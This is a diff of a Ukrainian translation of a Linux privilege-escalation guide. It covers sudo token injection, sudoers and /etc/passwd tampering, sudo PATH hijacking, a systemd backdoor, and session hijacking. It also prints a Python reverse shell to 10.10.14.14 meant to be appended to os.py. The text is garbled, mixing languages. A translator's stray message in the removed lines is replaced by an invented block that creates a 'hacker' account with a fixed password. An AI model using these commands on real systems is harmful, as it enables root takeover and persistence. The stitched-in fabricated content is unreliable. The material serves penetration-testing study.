[**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash @@ -1022,37 +1024,37 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Цей **second exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_ **owned by root with setuid** +- **second exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_, **який належить root і має setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Третій exploit** (`exploit_v3.sh`) **створить sudoers file**, який робить **sudo tokens вічними і дозволяє всім користувачам використовувати sudo** +- **третій exploit** (`exploit_v3.sh`) буде **створювати sudoers file**, який робить **sudo tokens вічними та дозволяє всім користувачам використовувати sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Якщо у вас є **write permissions** в цій папці або на будь-який із створених у ній файлів, ви можете використати бінарний файл [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **create a sudo token for a user and PID**.\ -Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell від імені цього користувача з PID 1234, ви можете **obtain sudo privileges** без необхідності знати пароль, зробивши: +Якщо у вас є **write permissions** у цій теці або для будь-якого файла, створеного в ній, ви можете використати бінарник [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **create a sudo token for a user and PID**.\ +Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell як цей користувач з PID 1234, ви можете **obtain sudo privileges** без необхідності знати пароль, виконавши: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читатися лише користувачем root і групою root**.\ -**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **підвищити привілеї**. +Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можна читати лише користувачу root і групі root**.\ +**Якщо** ви можете **прочитати** цей файл, ви можете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Якщо ви маєте права запису, ви можете зловживати цим дозволом. +Якщо ви можете записувати, ви можете зловживати цим дозволом ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Інший спосіб зловживання цими дозволами: +Ще один спосіб зловживати цими дозволами: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1061,17 +1063,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Існують альтернативи бінарному файлу `sudo`, наприклад `doas` для OpenBSD — не забудьте перевірити його конфігурацію в `/etc/doas.conf` +Існують альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD; не забудьте перевірити його конфігурацію в `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для ескалації привілеїв, і ви отримали shell у контексті цього користувача, ви можете **створити новий виконуваний файл sudo**, який виконуватиме ваш код як root, а потім команду користувача. Потім **змініть $PATH** у контексті користувача (наприклад, додавши новий шлях у .bash_profile), щоб при виконанні sudo запускався ваш sudo. +Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для ескалації привілеїв і ви отримали shell у контексті цього користувача, ви можете **create a new sudo executable**, який виконуватиме ваш код від імені root, а потім команду користувача. Потім **modify the $PATH** в контексті користувача (наприклад додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, виконався ваш sudo executable. -Зауважте, якщо користувач використовує інший shell (не bash), вам потрібно змінити інші файли, щоб додати новий шлях. Наприклад [sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Інший приклад можна знайти в [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Або запустити щось на кшталт: +Або запустивши щось на кшталт: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Скопіювавши lib у `/var/tmp/flag15/`, вона буде використана програмою в цьому місці, як вказано в змінній `RPATH`. +Копіювання lib у `/var/tmp/flag15/` призведе до того, що програма використовуватиме її в цьому місці, як вказано у змінній `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1137,49 +1138,49 @@ execve(file,argv,0); ``` ## Можливості -Linux capabilities надають процесу **підмножину доступних привілеїв root**. Це фактично розділяє привілеї root **на менші й відмінні одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linux capabilities надають **підмножину доступних root-привілеїв процесу**. Це фактично розбиває root **привілеї на менші й відмінні одиниці**. Кожну з цих одиниць можна окремо призначати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ +Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities і як їх зловживати**: {{#ref}} linux-capabilities.md {{#endref}} -## Дозволи директорій +## Права доступу до директорії -У директорії біт **"execute"** означає, що відповідний користувач може "**cd**" у папку.\ -Біт **"read"** означає, що користувач може **list** файли, а біт **"write"** означає, що користувач може **delete** та **create** нові **файли**. +У директорії біт **"execute"** означає, що відповідний користувач може **"cd"** у цю папку.\ +Біт **"read"** означає, що користувач може **переглядати** **файли**, а біт **"write"** означає, що користувач може **видаляти** та **створювати** нові **файли**. ## ACLs -Access Control Lists (ACLs) представляють собою вторинний рівень довільних дозволів, здатний **перевизначати традиційні ugo/rwx дозволи**. Ці дозволи посилюють контроль доступу до файлів або директорій, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або не належать до групи. Такий рівень **granularity забезпечує більш точне керування доступом**. Детальнішу інформацію можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Списки контролю доступу (Access Control Lists, ACLs) представляють другий шар дискреційних дозволів, здатний **перевизначати традиційні ugo/rwx дозволи**. Ці дозволи покращують контроль доступу до файлу чи директорії, дозволяючи або забороняючи права окремим користувачам, які не є власниками або не входять до групи. Такий рівень **деталізації забезпечує більш точне керування доступом**. Подальші деталі можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Надати** користувачу "kali" права читання та запису над файлом: +**Надайте** користувачу "kali" права читання і запису для файлу: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Отримати** файли з конкретними ACLs із системи: +**Отримати** файли з певними ACLs із системи: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Відкриті shell sessions -У **старих версіях** ви можете **hijack** якусь **shell** session іншого користувача (**root**).\ -У **найновіших версіях** ви зможете **connect** до screen sessions лише **your own user**. Однак можна знайти **цікаву інформацію всередині session**. +У **старих версіях** ви можете **hijack** деяку **shell** сесію іншого користувача (**root**).\ +У **найновіших версіях** ви зможете **connect** лише до screen sessions **свого власного користувача**. Проте, ви можете знайти **цікаву інформацію всередині сесії**. ### screen sessions hijacking -**Перелік screen sessions** +**Список screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Підключитися до сесії** +**Приєднатися до сесії** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1187,9 +1188,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Це була проблема зі **старими версіями tmux**. Я не зміг hijack сеанс tmux (v2.1), створений root, будучи непривілейованим користувачем. +Це була проблема зі **старими версіями tmux**. Я не зміг перехопити сеанс tmux (v2.1), створений користувачем root, будучи непривілейованим користувачем. -**Перелік сеансів tmux** +**Список сеансів tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1207,53 +1208,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Перегляньте **Valentine box from HTB** як приклад. +Перевірте **Valentine box from HTB** як приклад. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Усі SSL і SSH ключі, згенеровані в системах на базі Debian (Ubuntu, Kubuntu, etc) у період з вересня 2006 по 13 травня 2008 можуть бути уражені цією вразливістю.\ -Ця вразливість виникає при створенні нового ssh ключа в цих ОС, оскільки **було можливо лише 32,768 варіацій**. Це означає, що всі можливі варіанти можна перерахувати та **having the ssh public key you can search for the corresponding private key**. Ви можете знайти розраховані варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Всі SSL та SSH keys, згенеровані на системах на базі Debian (Ubuntu, Kubuntu, тощо) між вереснем 2006 і 13 травня 2008 можуть бути уражені цією вразливістю.\ +Ця помилка виникає при створенні нового ssh key в цих ОС, оскільки **було можливих лише 32,768 варіантів**. Це означає, що всі можливості можна обчислити і **маючи ssh public key, ви можете знайти відповідний private key**. Ви можете знайти обчислені можливості тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSH Цікаві значення конфігурації -- **PasswordAuthentication:** Визначає, чи дозволена автентифікація за паролем. Значення за замовчуванням — `no`. -- **PubkeyAuthentication:** Визначає, чи дозволена аутентифікація за допомогою public key. Значення за замовчуванням — `yes`. -- **PermitEmptyPasswords**: Коли дозволена автентифікація за паролем, визначає, чи дозволяє сервер вхід до облікових записів із порожнім паролем. Значення за замовчуванням — `no`. +- **PasswordAuthentication:** Вказує, чи дозволена автентифікація за паролем. За замовчуванням — `no`. +- **PubkeyAuthentication:** Вказує, чи дозволена автентифікація за публічним ключем. За замовчуванням — `yes`. +- **PermitEmptyPasswords**: Коли дозволена автентифікація за паролем, вказує, чи сервер дозволяє вхід в облікові записи з порожнім рядком пароля. За замовчуванням — `no`. ### PermitRootLogin -Визначає, чи може root входити через ssh, значення за замовчуванням — `no`. Можливі значення: +Вказує, чи може root входити через ssh, за замовчуванням — `no`. Можливі значення: -- `yes`: root може входити, використовуючи пароль і private key -- `without-password` or `prohibit-password`: root може входити лише за допомогою private key -- `forced-commands-only`: root може входити лише за допомогою private key і якщо задані опції commands -- `no`: заборонено +- `yes`: root може увійти, використовуючи password та private key +- `without-password` or `prohibit-password`: root може увійти тільки за допомогою private key +- `forced-commands-only`: root може увійти лише за допомогою private key і якщо вказані опції command +- `no` : ні ### AuthorizedKeysFile -Визначає файли, які містять public keys, які можна використовувати для автентифікації користувача. Вони можуть містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: +Вказує файли, які містять public keys, що можуть використовуватись для автентифікації користувача. Він може містити токени на кшталт `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою **private** key користувача "**testusername**", ssh порівняє public key вашого ключа з тими, що знаходяться в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` +Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою **private** ключа користувача "**testusername**", ssh порівняє public key вашого ключа з тими, що знаходяться в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (без passphrases!) залишати їх на сервері. Таким чином ви зможете **jump** через ssh **to a host**, а звідти **jump to another** host **using** the **key** розташований на вашому **initial host**. +SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (without passphrases!) замість залишати ключі на сервері. Отже, ви зможете виконати **jump** через ssh **to a host** і звідти **jump to another** host, **using** **the key** що розташований на вашому **initial host**. -Цю опцію потрібно встановити в `$HOME/.ssh.config` таким чином: +Вам потрібно встановити цю опцію в `$HOME/.ssh.config` так: ``` Host example.com ForwardAgent yes ``` -Зауважте, що якщо `Host` встановлено в `*`, щоразу, коли користувач підключається до іншої машини, той хост зможе отримати доступ до ключів (що є проблемою безпеки). +Зверніть увагу, що якщо `Host` встановлено як `*`, кожного разу, коли користувач підключається до іншої машини, той хост зможе отримати доступ до ключів (що є проблемою безпеки). -Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\ -Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням — дозволено). +Файл `/etc/ssh_config` може **перевизначати** ці **опції** та дозволити або заборонити цю конфігурацію.\ +Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (default is allow). -Якщо ви виявите, що Forward Agent налаштований у середовищі, прочитайте наступну сторінку — **ви можете зуміти використати його для ескалації привілеїв**: +Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1264,40 +1265,46 @@ ssh-forward-agent-exploitation.md ### Файли профілів -Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, що виконуються коли користувач запускає новий shell**. Отже, якщо ви можете **записувати або змінювати будь-який з них, ви можете підвищити привілеї**. +Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються коли користувач запускає нову оболонку**. Отже, якщо ви можете **записати або змінити будь-який із них you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Якщо знайдено підозрілий скрипт профілю, перевірте його на наявність **чутливих даних**. +### Файли Passwd/Shadow -### Файли passwd/shadow +Якщо знайдено якийсь дивний скрипт профілю, перевірте його на **чутливі деталі**. -Залежно від операційної системи файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або існувати як резервна копія. Тому рекомендовано **знайти їх усі** та **перевірити, чи можете їх прочитати**, щоб побачити **if there are hashes** всередині файлів: +У залежності від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати іншу назву або існувати резервні копії. Тому рекомендується **знайти всі** та **перевірити, чи можете їх прочитати**, щоб дізнатися **чи є в них хеші**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Іноді можна знайти **password hashes** у файлі `/etc/passwd` (або еквівалентному файлі) +У деяких випадках ви можете знайти **password hashes** всередині файлу `/etc/passwd` (або еквівалентного) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Доступний для запису /etc/passwd -Спочатку згенеруйте password за допомогою однієї з наведених команд. +Спочатку згенеруйте пароль за допомогою однієї з наступних команд. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Я не бачу вмісту файлу src/linux-hardening/privilege-escalation/README.md — надішліть, будь ласка, його вміст, щоб я міг перекласти. +### Додайте користувача `hacker` і встановіть згенерований пароль -Також я не можу виконувати дії на вашій системі (не можу фактично додати користувача). Якщо ви хочете, я можу: -- У перекладений файл додати блок з інструкцією/командами для створення користувача hacker і включити згенерований пароль, або -- Просто надати команду та згенерований пароль тут, щоб ви виконали їх локально. +Запустіть ці команди як root або через sudo. Згенерований пароль нижче вказаний у кодовому блоці. -Напишіть, який варіант бажаєте, і вставте вміст README.md для перекладу. +Згенерований пароль: `V9r$3kTq8Lp!wF2a` + +``` +PASSWORD='V9r$3kTq8Lp!wF2a' +useradd -m -s /bin/bash hacker +echo "hacker:$PASSWORD" | chpasswd +``` + +Після цього ви зможете увійти як `hacker` з паролем `V9r$3kTq8Lp!wF2a`. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` @@ -1305,34 +1312,34 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash Тепер ви можете використовувати команду `su` з `hacker:hacker` -Альтернативно, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\ +Як альтернативу, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\ УВАГА: це може погіршити поточну безпеку машини. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -Примітка: На BSD-платформах файл `/etc/passwd` знаходиться за адресою `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. +ПРИМІТКА: На BSD-платформах `/etc/passwd` знаходиться в `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. -Ви повинні перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в який-небудь **файл конфігурації служби**? +Вам слід перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в якийсь **конфігураційний файл сервісу**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Наприклад, якщо на машині працює сервер **tomcat** і ви можете **змінити файл конфігурації сервісу Tomcat у /etc/systemd/,** то ви можете змінити рядки: +Наприклад, якщо на машині запущено сервер **tomcat** і ви можете **modify the Tomcat service configuration file inside /etc/systemd/,** тоді ви можете змінити рядки: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Ваш backdoor буде виконано наступного разу, коли tomcat буде запущено. +Your backdoor буде виконаний наступного разу, коли tomcat буде запущено. ### Перевірте папки -Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Можливо, ви не зможете прочитати останню, але спробуйте) +Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Ймовірно, ви не зможете прочитати останню, але спробуйте) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Дивне розташування/Owned files +### Дивні місця/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1349,11 +1356,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Модифіковані файли за останні хвилини +### Файли, змінені за останні хвилини ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Файли Sqlite DB +### Sqlite DB файли ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1381,22 +1388,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Відомі файли, що містять паролі +### Known files containing passwords -Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, які можуть містити паролі**.\ -**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це програма з відкритим вихідним кодом, що використовується для отримання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. +Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, що можуть містити паролі**.\ +**Інший цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — програма з відкритим кодом, що використовується для отримання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. ### Logs -Якщо ви можете читати logs, можливо, ви зможете знайти **цікаву/конфіденційну інформацію всередині них**. Чим дивніший log, тим цікавіше він буде (ймовірно).\ -Також деякі "**bad**" configured (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як пояснено в цій статті: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Якщо ви можете читати логи, можливо, ви зможете знайти в них **цікаву/конфіденційну інформацію**. Чим дивніший лог, тим цікавішим він (ймовірно).\ +Також деякі "**bad**" сконфігуровані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як пояснено в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Щоб **читати логи**, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. +Щоб **читати логи, група** [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. -### Shell файли +### Файли shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1407,43 +1414,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Загальний пошук Creds/Regex +### Generic Creds Search/Regex -Вам також слід перевірити файли, що містять слово "**password**" у своїй **назві** або у **вмісті**, а також перевіряти IPs та emails у логах, або hashes regexps.\ -Я не збираюся тут перелічувати, як це все робити, але якщо вам цікаво, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Вам також слід перевіряти файли, які містять слово "**password**" у своєму **імені** або всередині **вмісту**, а також перевіряти IPs та emails всередині logs, або hashes regexps.\ +Я не буду перелічувати тут, як усе це робити, але якщо вам цікаво, можете переглянути останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Файли, доступні для запису +## Записувані файли ### Python library hijacking -Якщо ви знаєте **where** буде виконуватися python скрипт і ви **can write inside** ту папку або ви можете **modify python libraries**, ви можете змінити OS library і backdoor її (якщо ви можете записувати там, де виконується python скрипт, скопіюйте та вставте бібліотеку os.py). +Якщо ви знаєте **звідки** буде виконуватись python-скрипт і ви **можете записувати в** ту папку або можете **modify python libraries**, ви можете змінити OS library і backdoor it (якщо ви можете писати туди, де виконуватиметься python-скрипт, скопіюйте та вставте бібліотеку os.py). -Щоб **backdoor the library**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP і PORT): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Експлуатація logrotate -Уразливість у `logrotate` дозволяє користувачам з **правами запису** у файл журналу або в його батьківські каталоги потенційно отримати підвищені привілеї. Це тому, що `logrotate`, який часто працює як **root**, можна змусити виконувати довільні файли, особливо в каталогах типу _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, а й у будь-якому каталозі, де застосовується ротація логів. +Уразливість в `logrotate` дозволяє користувачам із **правами запису** на лог-файл або його батьківські каталоги потенційно отримати підвищені привілеї. Це відбувається тому, що `logrotate`, який часто запускається як **root**, можна змусити виконати довільні файли, особливо в каталогах на кшталт _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, але й у будь-якому каталозі, де застосовується ротація логів. > [!TIP] -> Ця вразливість впливає на `logrotate` версії `3.18.0` і старіші +> Ця уразливість торкається версії `logrotate` `3.18.0` і старіших -Більш детальну інформацію про вразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Більш детальну інформацію про уразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Ви можете експлуатувати цю вразливість за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). +Цю уразливість можна експлуатувати за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). -Ця вразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви знаходите, що можете змінювати логи, перевірте, хто їх керує, і чи можна ескалювати привілеї, підставивши логи через symlinks. +Ця уразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви знаходите можливість змінювати логи, перевірте, хто їх обслуговує, і чи можна підвищити привілеї, замінивши логи symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Посилання на вразливість:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Якщо з якоїсь причини користувач може **записати** `ifcf-` скрипт у _/etc/sysconfig/network-scripts_ **або** може **змінити** існуючий — то ваша **system is pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Мережеві скрипти, наприклад _ifcg-eth0_, використовуються для мережевих підключень. Вони виглядають точно як .INI файли. Однак вони \~sourced\~ у Linux Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). -У моєму випадку атрибут `NAME=` у цих мережевих скриптах обробляється некоректно. Якщо у назві є **пробіл**, система намагається виконати частину після пробілу. Це означає, що **все після першого пробілу виконується як root**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1451,17 +1458,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Зверніть увагу на пробіл між Network та /bin/id_) +(_Зауважте пробіл між Network та /bin/id_) -### **init, init.d, systemd та rc.d** +### **init, init.d, systemd, і rc.d** -Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Він включає скрипти для `start`, `stop`, `restart` і інколи `reload` сервісів. Ці скрипти можна виконувати напряму або через символічні посилання у `/etc/rc?.d/`. Альтернативний шлях у Redhat-системах — `/etc/rc.d/init.d`. +Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Він містить скрипти для `start`, `stop`, `restart`, а інколи й `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання у `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. -З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою системою **управління сервісами**, впровадженою Ubuntu, що використовує конфігураційні файли для керування сервісами. Незважаючи на перехід до Upstart, скрипти SysVinit досі використовуються разом з конфігураціями Upstart через суміснісний шар в Upstart. +З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, впровадженою Ubuntu, що використовує конфігураційні файли для керування сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються поряд із конфігураціями Upstart завдяки сумісному шару в Upstart. -**systemd** є сучасним ініціалізатором та менеджером сервісів, що пропонує розширені можливості, такі як відкладене запускання демонів, керування automount та знімки стану системи. Він організовує файли у `/usr/lib/systemd/` 